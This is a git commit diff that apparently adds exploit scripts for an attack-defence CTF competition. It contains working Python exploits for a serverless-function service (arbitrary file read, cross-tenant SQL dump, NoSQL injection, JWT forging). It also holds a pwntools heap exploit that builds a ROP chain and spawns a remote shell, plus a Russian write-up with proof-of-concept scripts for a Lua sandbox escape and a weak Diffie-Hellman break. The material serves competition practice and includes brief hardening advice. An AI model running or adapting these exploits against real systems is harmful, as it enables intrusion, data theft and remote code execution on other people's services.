adding validated services? patching forcad_local.py

This commit is contained in:
Your Name
2026-08-13 08:32:35 +07:00
parent d485f61169
commit e795614e45
1459 changed files with 420036 additions and 436 deletions

View File

View File

@@ -0,0 +1,122 @@
# Эксплойт основан на возможности чтения произвольных файлов
# через API файловой системы, предоставляемый для пользовательских функций.
#
# Он позволяет прочитать содержимое вполненных скриптов из других проектов,
# включая созданные чекером (и содержащие флаги).
import sys
import uuid
import requests
HOST = sys.argv[1]
PORT = 3000
BASE_URL = f"http://{HOST}:{PORT}/api/v1"
FUNCTION_CODE = """
// SPLOIT
const projects = fs.readdirSync("/tmp/sigma");
const functions = projects.flatMap((project) => {
return fs.readdirSync(`/tmp/sigma/${project}`).map((entry) => {
return `/tmp/sigma/${project}/${entry}`;
});
});
const flags = functions.flatMap((func) => {
const text = fs.readFileSync(`${func}/function.js`, "utf-8");
if(text.includes("SPLOIT")) {
return [];
}
return text.split("\\n").filter((line) => line.includes("FLAG_VALUE ="));
});
res
.json({
flags,
});
"""
def make_id(prefix):
return f"{prefix}-{uuid.uuid4().hex[:8]}"
def main():
session = requests.Session()
username = make_id("user")
password = f"Passw0rd!{uuid.uuid4().hex[:6]}"
print(f"[*] Registering user {username}")
response = session.post(
f"{BASE_URL}/users",
json={"username": username, "password": password},
)
response.raise_for_status()
print("[*] Logging in")
response = session.post(
f"{BASE_URL}/auth/login",
data={"username": username, "password": password},
)
response.raise_for_status()
login_response = response.json()
token = login_response.get("auth_token")
if not token:
raise RuntimeError("Login response missing auth_token field")
headers = {"Authorization": f"Bearer {token}"}
slug = make_id("proj")
project_name = f"Project {slug}"
description = "Kekpek"
print(f"[*] Creating project {project_name} ({slug})")
response = session.post(
f"{BASE_URL}/projects",
headers=headers,
json={"name": project_name, "slug": slug, "description": description},
)
response.raise_for_status()
project_response = response.json()
project_id = project_response.get("_id") or project_response.get("id")
project_slug = project_response.get("slug") or slug
print("[*] Creating function /sploit")
response = session.post(
f"{BASE_URL}/projects/{project_id}/functions",
headers=headers,
json={"name": "Sploit", "path": "/sploit"},
)
response.raise_for_status()
function_response = response.json()
function_id = function_response.get("_id") or function_response.get("id")
print("[*] Uploading custom code")
response = session.put(
f"{BASE_URL}/projects/{project_id}/functions/{function_id}",
headers=headers,
json={"code": FUNCTION_CODE, "methods": ["GET"]},
)
response.raise_for_status()
response = requests.get(
f"{BASE_URL}/exec/{project_slug}/sploit",
)
print(f"[+] Execution HTTP {response.status_code}")
body = response.text.strip()
if not body:
print("[!] Empty body received")
return
print(body)
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,141 @@
# Эксплойт основан на возможности обращения к базе данных из
# кода пользовательской функции (и недостаточной проверки запроса).
#
# Он позволяет прочитать записи в базе, созданные функциями других
# проектов, включая созданные чекером (и содержащие флаги).
import sys
import uuid
import requests
HOST = sys.argv[1]
PORT = 3000
BASE_URL = f"http://{HOST}:{PORT}/api/v1"
FUNCTION_CODE = r"""
(async () => {
const match = req.path.match(/\/exec\/([^/]+)/i);
if (!match) {
res.setStatus(500).send("Unable to detect project slug");
return;
}
const currentScope = `scope_${match[1]}`;
const scopeHint = `/* ${currentScope} */`;
const tables = await sql.query(`
SELECT
t.table_name
FROM information_schema.tables AS t
JOIN pg_catalog.pg_class AS cls
ON cls.relname = t.table_name
WHERE t.table_schema = 'public'
AND t.table_name LIKE 'scope_%'
ORDER BY cls.oid DESC
LIMIT 500
${scopeHint}
`);
const dump = [];
for (const row of tables || []) {
const table = row.table_name;
const creationOrder = row.creation_oid;
if (!table) continue;
try {
const rows = await sql.query(
`SELECT * FROM "${table}" ORDER BY id DESC ${scopeHint}`
);
dump.push({ table, creationOrder, rows });
} catch (error) {
dump.push({ table, creationOrder, error: String(error) });
}
}
res.json(dump);
})();
"""
def make_id(prefix):
return f"{prefix}-{uuid.uuid4().hex[:8]}"
def main():
session = requests.Session()
username = make_id("user")
password = f"Passw0rd!{uuid.uuid4().hex[:6]}"
print(f"[*] Registering user {username}")
response = session.post(
f"{BASE_URL}/users",
json={"username": username, "password": password},
)
response.raise_for_status()
print("[*] Logging in")
response = session.post(
f"{BASE_URL}/auth/login",
data={"username": username, "password": password},
)
response.raise_for_status()
login_response = response.json()
token = login_response.get("auth_token")
if not token:
raise RuntimeError("Login response missing auth_token field")
headers = {"Authorization": f"Bearer {token}"}
slug = make_id("proj")
project_name = f"Project {slug}"
description = "Kekpek"
print(f"[*] Creating project {project_name} ({slug})")
response = session.post(
f"{BASE_URL}/projects",
headers=headers,
json={"name": project_name, "slug": slug, "description": description},
)
response.raise_for_status()
project_response = response.json()
project_id = project_response.get("_id") or project_response.get("id")
project_slug = project_response.get("slug") or slug
print("[*] Creating function /sploit")
response = session.post(
f"{BASE_URL}/projects/{project_id}/functions",
headers=headers,
json={"name": "Sploit", "path": "/sploit"},
)
response.raise_for_status()
function_response = response.json()
function_id = function_response.get("_id") or function_response.get("id")
print("[*] Uploading custom code")
response = session.put(
f"{BASE_URL}/projects/{project_id}/functions/{function_id}",
headers=headers,
json={"code": FUNCTION_CODE, "methods": ["GET"]},
)
response.raise_for_status()
response = requests.get(
f"{BASE_URL}/exec/{project_slug}/sploit",
)
print(f"[+] Execution HTTP {response.status_code}")
body = response.text.strip()
if not body:
print("[!] Empty body received")
return
print(body)
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,54 @@
# Эксплойт основан на NoSQL инъекции в эндпоинте /api/v1/projects,
#
# Он позволяет получить данные о чужих проектах, включая описание,
# которое содержит флаги.
import sys
import uuid
import requests
HOST = sys.argv[1]
PORT = 3000
BASE_URL = f"http://{HOST}:{PORT}/api/v1"
def make_id(prefix):
return f"{prefix}-{uuid.uuid4().hex[:8]}"
def main():
session = requests.Session()
username = make_id("user")
password = f"Passw0rd!{uuid.uuid4().hex[:6]}"
print(f"[*] Registering user {username}")
response = session.post(
f"{BASE_URL}/users",
json={"username": username, "password": password},
)
response.raise_for_status()
print("[*] Logging in")
response = session.post(
f"{BASE_URL}/auth/login",
data={"username": username, "password": password},
)
response.raise_for_status()
login_response = response.json()
token = login_response.get("auth_token")
if not token:
raise RuntimeError("Login response missing auth_token field")
headers = {"Authorization": f"Bearer {token}"}
projects_response = session.get(
f"{BASE_URL}/projects?owner[$ne]={'a' * 24}",
headers=headers,
)
print(projects_response.text)
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,131 @@
# Эксплойт основан на доступном в файловой системе JWT секрете,
# который можно прочитать при помощи пользователской функции.
# Этим секретом подписывается токен, содержащий NoSQL инъекцию
#
# Он позволяет получить данные о чужих проектах, включая описание,
# которое содержит флаги.
import sys
import uuid
from datetime import datetime, timedelta, UTC
import jwt
import requests
HOST = sys.argv[1]
PORT = 3000
BASE_URL = f"http://{HOST}:{PORT}/api/v1"
FUNCTION_CODE = """
res.json(fs.readFileSync("/etc/sigma/jwt.secret", "utf-8"));
"""
def make_id(prefix):
return f"{prefix}-{uuid.uuid4().hex[:8]}"
def read_secret(
session: requests.Session,
headers: dict,
) -> dict:
slug = make_id("proj")
project_name = f"Project {slug}"
print(f"[*] Creating project {project_name} ({slug}) for FS read")
response = session.post(
f"{BASE_URL}/projects",
headers=headers,
json={"name": project_name, "slug": slug, "description": "FS reader"},
)
response.raise_for_status()
project_response = response.json()
project_id = project_response.get("_id") or project_response.get("id")
project_slug = project_response.get("slug") or slug
print("[*] Creating helper function /sploit")
response = session.post(
f"{BASE_URL}/projects/{project_id}/functions",
headers=headers,
json={"name": "Sploit", "path": "/sploit"},
)
response.raise_for_status()
function_response = response.json()
function_id = function_response.get("_id") or function_response.get("id")
print("[*] Uploading sploit code")
response = session.put(
f"{BASE_URL}/projects/{project_id}/functions/{function_id}",
headers=headers,
json={"code": FUNCTION_CODE, "methods": ["GET"]},
)
response.raise_for_status()
exec_url = f"{BASE_URL}/exec/{project_slug}/sploit"
print(f"[*] Executing sploit function at {exec_url}")
response = session.get(exec_url)
response.raise_for_status()
return response.json().strip()
def forge_jwt(secret):
payload = {
"sub": {
"$ne": None,
},
"username": {
"$ne": None,
},
"iat": datetime.now(UTC),
"exp": datetime.now(UTC) + timedelta(days=1),
}
return jwt.encode(payload, secret, algorithm="HS256")
def main():
session = requests.Session()
username = make_id("user")
password = f"Passw0rd!{uuid.uuid4().hex[:6]}"
print(f"[*] Registering user {username}")
response = session.post(
f"{BASE_URL}/users",
json={"username": username, "password": password},
)
response.raise_for_status()
print("[*] Logging in")
response = session.post(
f"{BASE_URL}/auth/login",
data={"username": username, "password": password},
)
response.raise_for_status()
login_response = response.json()
token = login_response.get("auth_token")
if not token:
raise RuntimeError("Login response missing auth_token field")
headers = {"Authorization": f"Bearer {token}"}
secret = read_secret(session, headers)
print(f"[+] Retrieved JWT secret: {secret}")
forged_token = forge_jwt(secret)
forged_headers = {"Authorization": f"Bearer {forged_token}"}
print(forged_headers)
print("[*] Fetching projects with forged token")
projects_response = session.get(
f"{BASE_URL}/projects",
headers=forged_headers,
)
print(projects_response.text)
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,6 @@
certifi==2025.11.12
charset-normalizer==3.4.4
idna==3.11
PyJWT==2.10.1
requests==2.32.5
urllib3==2.6.0

View File

@@ -0,0 +1,378 @@
from sys import argv
from io import StringIO
from pwn import *
from Crypto.Cipher import ARC4
import chess
import chess.pgn
from threading import Thread
context.log_level = 'warn'
exe = context.binary = ELF('grob')
HOST = argv[1]
PORT = 11331
def u128(n, *args, **kwargs):
return unpack(n, *args, word_size=128, **kwargs)
def p128(n, *args, **kwargs):
return pack(n, *args, word_size=128, **kwargs)
class arc4tube(remote):
MODULO = (1 << 128) - 159
def __init__(self, *a, **kw):
super().__init__(*a, **kw)
priv = u128(random.randbytes(16))
pub = pow(5, priv, self.MODULO)
server_pub = u128(self.recvn(16))
self.send(p128(pub))
cph = ARC4.new(p128(pow(server_pub, priv, self.MODULO)))
self.recv_raw = lambda *a, **kw: cph.encrypt(data) if (data := super(arc4tube, self).recv_raw(*a, **kw)) else b''
self.send_raw = lambda data, *a, **kw: super(arc4tube, self).send_raw(data and cph.encrypt(data), *a, **kw)
def recvn_plain(self, n):
self.recv_raw = super(arc4tube, self).recv_raw
return super().recvn(n)
def send_plain(self, d):
self.recv_raw = super(arc4tube, self).recv_raw
self.send_raw = super(arc4tube, self).send_raw
return super().send(d)
def enter_room(io1, io2):
room_pass = room_code = randoms(16).upper().encode()
io1.send(p8(1) + room_code)
assert io1.recvn(1) == p8(0)
sleep(.1 / 2)
io2.send(p8(1) + room_code)
assert io2.recvn(1) == p8(0)
io1.send(room_pass)
assert io1.recvn(1) == p8(0)
return room_code
def start():
return arc4tube(HOST, PORT)
def pgn_iter(pgn):
pgn = chess.pgn.read_game(StringIO(pgn))
board = chess.Board()
for move in pgn.mainline_moves():
from_sq = move.from_square
to_sq = move.to_square
row_from = 7 - (from_sq // 8)
col_from = from_sq % 8
row_to = 7 - (to_sq // 8)
col_to = to_sq % 8
yield (row_from, col_from, row_to, col_to, 0, 0)
board.push(move)
def guess_byte(offset, byte, set_color):
with start() as io1, start() as io2:
enter_room(io1, io2)
color = u8(io1.recvn(1))
io2.recvn(1)
if not color:
io1, io2 = io2, io1
base = list(pgn_iter('1. a4 h5 2. a5 h4 3. a6 h3 4. axb7 hxg2'))
if set_color:
base += [(1, 1, offset // 8, offset % 8, 1, byte)] # bxa8=
else:
base += [(6, 1, 5, 1, 0, 0)] # b3
base += [(6, 6, offset // 8, offset % 8, 1, byte)] # gxh1=
order = True
for cord in base:
p = flat([0, *cord], word_size=8)
if order:
io1.send(p)
assert u8(io1.recvn(1)) == 0
io2.recvn(7)
else:
io2.send(p)
assert u8(io2.recvn(1)) == 0
io1.recvn(7)
order = not order
def leak_pie():
"""Just a linear PIE address bruteforce (history->vtable)"""
addr = bytearray(p64(0))
addr[0] = exe.sym['_IO_file_jumps'] & 0xff
def brute_byte(i):
context.log_level = 'warn'
rng_args = (exe.sym['_IO_file_jumps'] >> 8 & 0xf, 0x100, 0x10) if i == 1 else (0x100,)
for b in range(*rng_args):
try:
guess_byte(296 + i, b, 1)
except EOFError:
continue
except AssertionError:
try:
guess_byte(296 + i, b, 0)
except EOFError:
continue
addr[i] = b
break
else:
raise Exception('Bad PIE leak')
tds = {}
for i in range(1, 6):
tds[i] = Thread(target=brute_byte, args=(i,))
tds[i].start()
for i in range(1, 6):
tds[i].join()
return u64(addr)
def leak_heap():
"""Just a linear heap address bruteforce (history->_IO_write_ptr)"""
addr = bytearray(p64(0))
def brute_byte(i):
context.log_level = 'warn'
rng_args = (0, 0x100, 0x10) if i == 1 else (0x100,)
for b in range(*rng_args):
try:
guess_byte(120 + i, b, 1)
except EOFError:
continue
except AssertionError:
try:
guess_byte(120 + i, b, 0)
except EOFError:
continue
addr[i] = b
break
else:
raise Exception('Bad heap leak')
tds = {}
for i in range(1, 6):
tds[i] = Thread(target=brute_byte, args=(i,))
tds[i].start()
for i in range(1, 6):
tds[i].join()
return u64(addr)
def leak_stack(heap_base):
"""Leaks stack via history _IO_FILE structure (controllable by arb allocation),
assumes that PIE already leaked. I know it also can be leaked with heap primitives only"""
with start() as io1, start() as io2:
enter_room(io1, io2)
color = u8(io1.recvn(1))
io2.recvn(1)
if not color:
io1, io2 = io2, io1
# Allocate 2 chunks with 2 messages
for _ in range(2):
io2.send(flat([p8(1), p16(0x100), cyclic(0x100)]))
assert u8(io2.recvn(1)) == 0
# Free allocated chunks
io1.send(p8(2))
msg_cnt = u8(io1.recvn(1))
for _ in range(msg_cnt):
msg_len = u16(io1.recvn(2))
io1.recvn(msg_len)
# Some PPC here, writing qword in `tcache_entry->next` with chess moves...
offset = 0x230
old_value = p64((heap_base + 0x1a70) ^ ((heap_base >> 12) + 1))[:-2]
value = p64((heap_base + 0x1760) ^ ((heap_base >> 12) + 1))[:-2]
base = list(pgn_iter('''
1. e4 f5 2. Ke2 Kf7 3. Kf3 Kg6 4. Kg3 Kh6 5. Kh3 a5 6. b4 a4 7. b5 a3 8. b6 Ra7 9. bxa7 b5 10. Bb2 axb2
11. a4 b4 12. a5 b3 13. a6 Bb7 14. axb7 c5 15. Ra2 bxa2 16. d4 c4 17. d5 c3 18. d6 Qc7 19. dxc7 d5 20. Nd2 cxd2
21. c4 d4 22. c5 d3 23. c6 Nd7 24. Qc2 dxc2 25. cxd7 f4 26. e5 f3 27. e6 Nf6 28. Be2 fxe2 29. f4 Ne4 30. f5 Nd6
31. f6 Nf7 32. exf7 e5 33. Nf3 e4 34. Ne5 e3 35. Nd3 Be7 36. Nf2 exf2 37. fxe7
'''))
order = False
pos = ([(6, i) for i in range(6)], [(1, i) for i in range(6)])
for i, b in enumerate(value):
if ((old_value[i] & 0xf0) >> 4) == int(order):
base += [(*pos[int(order)][i], 0, 0, 1, 0x20)]
base += [(*pos[int(not order)][i], offset // 8, offset % 8, 1, b)]
else:
base += [(*pos[int(order)][i], offset // 8, offset % 8, 1, b)]
order = not order
offset += 1
order = True
for cord in base:
p = flat([0, *cord], word_size=8)
if order:
io1.send(p)
assert u8(io1.recvn(1)) == 0
io2.recvn(7)
else:
io2.send(p)
assert u8(io2.recvn(1)) == 0
io1.recvn(7)
order = not order
# Clear top tcache bin chunk
io2.send(flat([p8(1), p16(0x100), cyclic(0x100)]))
io2.recvn(1)
# Allocate on _IO_FILE (we alse may want to leak by 2 bytes at time
# to prevent net filtration by stack addr)
fs = FileStructure()
fs.flags = 0x0002 | 0x0800
fs.fileno = 6 if color else 4
fs._lock = heap_base
fs._IO_read_end = fs._IO_write_base = exe.sym['environ']
fs._IO_write_end = fs._IO_write_ptr = fs._IO_write_base + 0x6
fs.vtable = exe.sym['_IO_file_jumps']
io2.send(flat([p8(1), p16(0x100), {
4: bytes(fs),
0x100: b''
}]))
return u64(io2.recvn_plain(6) + p16(0))
def alloc_on_stack_and_rop(heap_base, retaddr):
"""Same as `leak_stack` but on allocates on stack now"""
with start() as io1, start() as io2:
enter_room(io1, io2)
color = u8(io1.recvn(1))
io2.recvn(1)
if not color:
io1, io2 = io2, io1
# Allocate 2 chunks with 2 messages
for _ in range(2):
io2.send(flat([p8(1), p16(0xa0), cyclic(0xa0)]))
io2.recvn(1)
# Free allocated chunks
io1.send(p8(2))
msg_cnt = u8(io1.recvn(1))
for _ in range(msg_cnt):
msg_len = u16(io1.recvn(2))
io1.recvn(msg_len)
# Some PPC here, writing qword in `tcache_entry->next` with chess moves...
offset = 0x230
old_value = p64((heap_base + 0x1a70) ^ ((heap_base >> 12) + 1))[:-2]
value = p64(retaddr ^ ((heap_base >> 12) + 1))[:-2]
base = list(pgn_iter('''
1. e4 f5 2. Ke2 Kf7 3. Kf3 Kg6 4. Kg3 Kh6 5. Kh3 a5 6. b4 a4 7. b5 a3 8. b6 Ra7 9. bxa7 b5 10. Bb2 axb2
11. a4 b4 12. a5 b3 13. a6 Bb7 14. axb7 c5 15. Ra2 bxa2 16. d4 c4 17. d5 c3 18. d6 Qc7 19. dxc7 d5 20. Nd2 cxd2
21. c4 d4 22. c5 d3 23. c6 Nd7 24. Qc2 dxc2 25. cxd7 f4 26. e5 f3 27. e6 Nf6 28. Be2 fxe2 29. f4 Ne4 30. f5 Nd6
31. f6 Nf7 32. exf7 e5 33. Nf3 e4 34. Ne5 e3 35. Nd3 Be7 36. Nf2 exf2 37. fxe7
'''))
order = False
pos = ([(6, i) for i in range(6)], [(1, i) for i in range(6)])
for i, b in enumerate(value):
if ((old_value[i] & 0xf0) >> 4) == int(order):
base += [(*pos[int(order)][i], 0, 0, 1, 0x20)]
base += [(*pos[int(not order)][i], offset // 8, offset % 8, 1, b)]
else:
base += [(*pos[int(order)][i], offset // 8, offset % 8, 1, b)]
order = not order
offset += 1
order = True
for cord in base:
p = flat([0, *cord], word_size=8)
if order:
io1.send(p)
assert u8(io1.recvn(1)) == 0
io2.recvn(7)
else:
io2.send(p)
assert u8(io2.recvn(1)) == 0
io1.recvn(7)
order = not order
# Clear top tcache bin chunk
io2.send(flat([p8(1), p16(0xa0), cyclic(0xa0)]))
io2.recvn(1)
# ROP
fd = 6 if color else 4
rop = ROP(exe)
rop.call('mprotect', [heap_base, 0x1000, 7])
rop.call('read', [fd, heap_base, 0xa0])
rop.call(heap_base)
io2.send(flat([p8(1), p16(0xa0), {
4 + 8: [
bytes(rop)
],
0xa0: b''
}]))
io2.send_plain(
asm(shellcraft.dup2(fd, 0))
+ asm(shellcraft.dup2(fd, 1))
+ asm(shellcraft.sh())
)
io2.interactive()
def pwn():
def leak_pie_thread():
exe.address = leak_pie() - exe.sym['_IO_file_jumps']
def leak_heap_thread():
global HEAP_BASE
HEAP_BASE = leak_heap()
td1 = Thread(target=leak_pie_thread)
td1.start()
td2 = Thread(target=leak_heap_thread)
td2.start()
td1.join()
td2.join()
# In A/D we really want to cache leaks
global HEAP_BASE
try:
STACK_ADDR = leak_stack(HEAP_BASE)
except EOFError:
HEAP_BASE -= 0x1000 # handle case of 0xf000 heap layout (cuz _IO_FILE at more than page size offset)
STACK_ADDR = leak_stack(HEAP_BASE)
retaddr = STACK_ADDR - 0x4e0 - 0x18
alloc_on_stack_and_rop(HEAP_BASE, retaddr)
if __name__ == '__main__':
pwn()

Binary file not shown.

View File

@@ -0,0 +1,54 @@
# Sonobank: описание, уязвимости + PoCs, харденинг
## Что за сервис
UDPсервис, говорящий на SysExфреймах (опкоды 0x010x05). Основные операции:
- `Diag` — проверка живости.
- `Put` — принимает Lua DSPскрипт, шифрует и сохраняет как патч (`patch_id`, приватный ключ выдаётся в ответе).
- `Get` — возвращает публичный ключ и шифротекст патча по `patch_id`.
- `RenderHash` — расшифровывает Lua и вызывает `sample()`, хешируя значения.
- `GetCryptoParams` — отдаёт параметры группы.
Патчи лежат на диске как `data/<uuid>.pb` в TLVформате: k, c1, ct, iv, End.
## Уязвимость 1: Lua не песочница, утечки через RenderHash
- `lua-sandbox::render_hash` создаёт полноценный Lua без ограничения stdlib; доступны `io.open`, `os`, и т.п.
- Ошибки из Lua пробрасываются в ответ `RenderHash` (server возвращает `Error("Couldn't compute hash: <сообщение>")`).
- Итог: любой может загружать произвольный Lua и читать локальные файлы, затем вернуть их содержимое через `error()`.
### Эксплуатация (PoC `lua_poc.py`)
Выгружает содержимое чужого патча `data/<victim_patch_id>.pb`, расшифровывает его и печатает исходный Lua (в нём хранится флаг).
```
python3 sploits/sonobank/lua_poc.py <host> <victim_patch_id> [port=5004]
```
Скрипт:
1) Делает `Put` с Lua, который читает `data/<victim>.pb` и бросает его в ошибке как hex.
2) Делает `RenderHash` на своём патче, получает `Error`, парсит TLV, выводит расшифрованный Lua жертвы.
### Харденинг
- Создавать Lua с отключёнными I/O: `Lua::new_with(mlua::StdLib::BASE | ... )` без `IO`/`OS`, или `set_sandboxed(true)`.
- Явно очищать/затирать глобальные таблицы (`io`, `os`, `package`).
- Не выдавать текст ошибки пользователю — логировать на сервере, клиенту слать общий код.
## Уязвимость 2: Крипто на слабой группе, dlog решается
- Кольцо — GF(2)[x]/P(x), которое притворяется GF(p).
- Полином P(x) раскладывается как Q(x)^5, поэтому порядок мультипликативной группы (2^210 - 1) умножить на небольшое число.
- В этом случае порядок группы равен (2^210 - 1) * 8, Этот порядок гладкий и позволяет алгоритмом Полига-Хеллмана посчитать длог. Для ускорения сначала считаем по модулю Q(x).
### Эксплуатация (PoC `crypto_sploit.py`)
Запуск под `sage -python` (используется `sage.all`):
```
sage -python sploits/sonobank/crypto_sploit.py
```
Скрипт:
1) Берёт `GetCryptoParams`, затем `Get` по `flag_id` (`patch_id`).
2) Факторизует модуль, решает дискретный логарифм, восстанавливает общий ключ и расшифровывает AESCBC.
3) Печатает Lua с флагом.
### Харденинг
- Заменить модуль на неприводимый с удачной степенью, например, 127 (2^127 - 1 является простым числом Мерсенна). Тогда группа будет вполне подходящей.
## Полезные файлы
- `sploits/sonobank/lua_poc.py` — утечка через Lua.
- `sploits/sonobank/crypto_sploit.py` — взлом DLog.
- `services/sonobank/crates/lua-sandbox/src/lib.rs` — источник Lua уязвимости.
- `services/sonobank/crates/crypto/src/encryption.rs` — уязвимый DH.

View File

@@ -0,0 +1,82 @@
from sage.all import *
from socket import socket, AF_INET, SOCK_DGRAM
import uuid
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import hashlib
IP = "127.0.0.1"
flag_id = "b0e29b3a-f560-449c-ad59-1b760c4aab47"
PR = PolynomialRing(GF(2), "x")
def bits(n):
return [int(c) for c in bin(n)[2:]][::-1]
def unbits(bs):
return sum(int(x) << i for i, x in enumerate(list(bs)))
get_crypto_params_payload = bytes((
0xF0,
0x7D,
0x53,
0x58,
0x05,
0xF7
))
sock = socket(AF_INET, SOCK_DGRAM)
sock.bind(("0.0.0.0", 0))
sock.connect((IP, 5004))
sock.sendall(get_crypto_params_payload)
msg = sock.recv(1024)
modulus = PR(bits(int.from_bytes(msg[5:5 + 64], "big")))
base = PR(bits(int.from_bytes(msg[5 + 64:5 + 64 + 64], "big")))
get_crypto_params_payload = bytes((
0xF0,
0x7D,
0x53,
0x58,
0x03,
*uuid.UUID(flag_id).bytes,
0xF7
))
sock.sendall(get_crypto_params_payload)
msg = sock.recv(1024)
h = PR(bits(int.from_bytes(msg[5:5 + 64], "big")))
c1 = PR(bits(int.from_bytes(msg[5 + 64:5 + 64*2], "big")))
iv = msg[5 + 64*2:5 + 64*2 + 16]
ct = msg[5 + 64*2 + 16:-1]
fact = factor(modulus)
assert len(fact) == 1
assert fact[0][1] == 5
D = fact[0][0].degree()
# part modulo p
R = GF(2 ** D, 'a', modulus=fact[0][0])
print(R)
r = R(c1).log(base)
# remaining part
R = PR.quotient(modulus)
newbase = R(base) ** (2 ** D - 1)
newres = R(c1) ** (2 ** D - 1)
for x in range(1, 8):
if newbase ** x == newres:
break
else:
print("failed to find part")
r = crt([r, x], [2 ** D - 1, 8])
assert R(base) ** r == R(c1)
shared_key = int(unbits(list(R(h) ** r))).to_bytes(64, "big")
key = hashlib.sha256(shared_key).digest()[:16]
cipher = AES.new(key, AES.MODE_CBC, iv)
pt = unpad(cipher.decrypt(ct), 16)
print(pt)

View File

@@ -0,0 +1,165 @@
#!/usr/bin/env python3
"""
PoC: abuse the Lua "sandbox" to read arbitrary files (here: victim patch files)
and recover the plaintext Lua that embeds the flag.
Usage: python3 lua_poc.py <host> <victim_patch_id> [port]
"""
import hashlib
import re
import socket
import struct
import sys
import uuid
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
MANUFACTURER = b"\x7D\x53\x58"
OP_PUT = 0x02
OP_RENDER_HASH = 0x04
OP_PUT_RESP = 0x07
OP_ERROR = 0x0B
# Same modulus as DEFAULT_CRYPTO_PARAMS in the service.
MODULUS = int(
"00000000000000000000001010400401040050501011140450454504004145540054510014551150445504010145150511100005011015500410014404111555",
16,
)
MOD_BITS = MODULUS.bit_length()
def frame(op: int, payload: bytes = b"") -> bytes:
return b"\xF0" + MANUFACTURER + bytes([op]) + payload + b"\xF7"
def recv_frame(sock: socket.socket) -> bytes:
data = sock.recv(4096)
if len(data) < 6 or data[0] != 0xF0 or data[-1] != 0xF7:
raise RuntimeError(f"Bad frame: {data!r}")
return data
def build_lua(victim_patch: str) -> bytes:
# Reads the raw patch file and dumps it as hex in an error message.
return f"""
local victim = "{victim_patch}"
local path = "data/" .. victim .. ".pb"
function tohex(s)
return (s:gsub(".", function(c) return string.format("%02x", string.byte(c)) end))
end
function sample(t, note, velocity)
local f = io.open(path, "rb")
if not f then
error("no_file")
end
local blob = f:read("*a")
f:close()
error(tohex(blob))
end
""".encode()
def parse_hex_from_error(msg: str) -> bytes:
m = re.search(r"[0-9a-f]{200,}", msg) # look for a long hex blob
if not m:
raise RuntimeError(f"No hex payload in error: {msg}")
return bytes.fromhex(m.group(0))
def parse_tlv(blob: bytes):
i = 0
out = {}
while i < len(blob):
tag = blob[i]
i += 1
if tag == 0xFF:
break
length = int.from_bytes(blob[i : i + 2], "big")
i += 2
out[tag] = blob[i : i + length]
i += length
return out
def reduce(x: int) -> int:
while x.bit_length() >= MOD_BITS:
x ^= MODULUS << (x.bit_length() - MOD_BITS)
return x
def mul(a: int, b: int) -> int:
prod = 0
shift = 0
bb = b
while bb:
if bb & 1:
prod ^= a << shift
bb >>= 1
shift += 1
return reduce(prod)
def pow_ring(base: int, exp: int) -> int:
base = reduce(base)
result = 1
ee = exp
while ee:
if ee & 1:
result = mul(result, base)
base = mul(base, base)
ee >>= 1
return result
def decrypt_patch(tlv):
k = int.from_bytes(tlv[0x01], "big")
c1 = int.from_bytes(tlv[0x02], "big")
ct = tlv[0x03]
iv = tlv[0x04]
s = pow_ring(c1, k)
s_bytes = s.to_bytes(64, "big")
key = hashlib.sha256(s_bytes).digest()[:16]
pt = unpad(AES.new(key, AES.MODE_CBC, iv).decrypt(ct), 16)
return pt.decode(errors="replace")
def exploit(host: str, victim_patch: str, port: int) -> None:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(5.0)
sock.connect((host, port))
# 1) Upload malicious Lua that leaks the victim patch file.
lua_payload = build_lua(victim_patch)
sock.sendall(frame(OP_PUT, lua_payload))
put_resp = recv_frame(sock)
if put_resp[4] != OP_PUT_RESP:
raise RuntimeError(f"Unexpected PUT response opcode {put_resp[4]:#x}: {put_resp!r}")
attacker_patch = uuid.UUID(bytes=put_resp[5:21])
print(f"[+] Uploaded attacker patch {attacker_patch}")
# 2) Trigger execution; sample() will error with hex blob of the patch file.
payload = attacker_patch.bytes + struct.pack(">II", 0, 0)
sock.sendall(frame(OP_RENDER_HASH, payload))
render_resp = recv_frame(sock)
if render_resp[4] != OP_ERROR:
raise RuntimeError(f"Expected error frame, got {render_resp!r}")
error_msg = render_resp[5:-1].decode(errors="replace")
blob = parse_hex_from_error(error_msg)
tlv = parse_tlv(blob)
lua_src = decrypt_patch(tlv)
print("[+] Decrypted victim Lua:")
print(lua_src)
if __name__ == "__main__":
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} <host> <victim_patch_id> [port]")
sys.exit(1)
target_host = sys.argv[1]
victim_patch = sys.argv[2]
target_port = int(sys.argv[3]) if len(sys.argv) > 3 else 5004
exploit(target_host, victim_patch, target_port)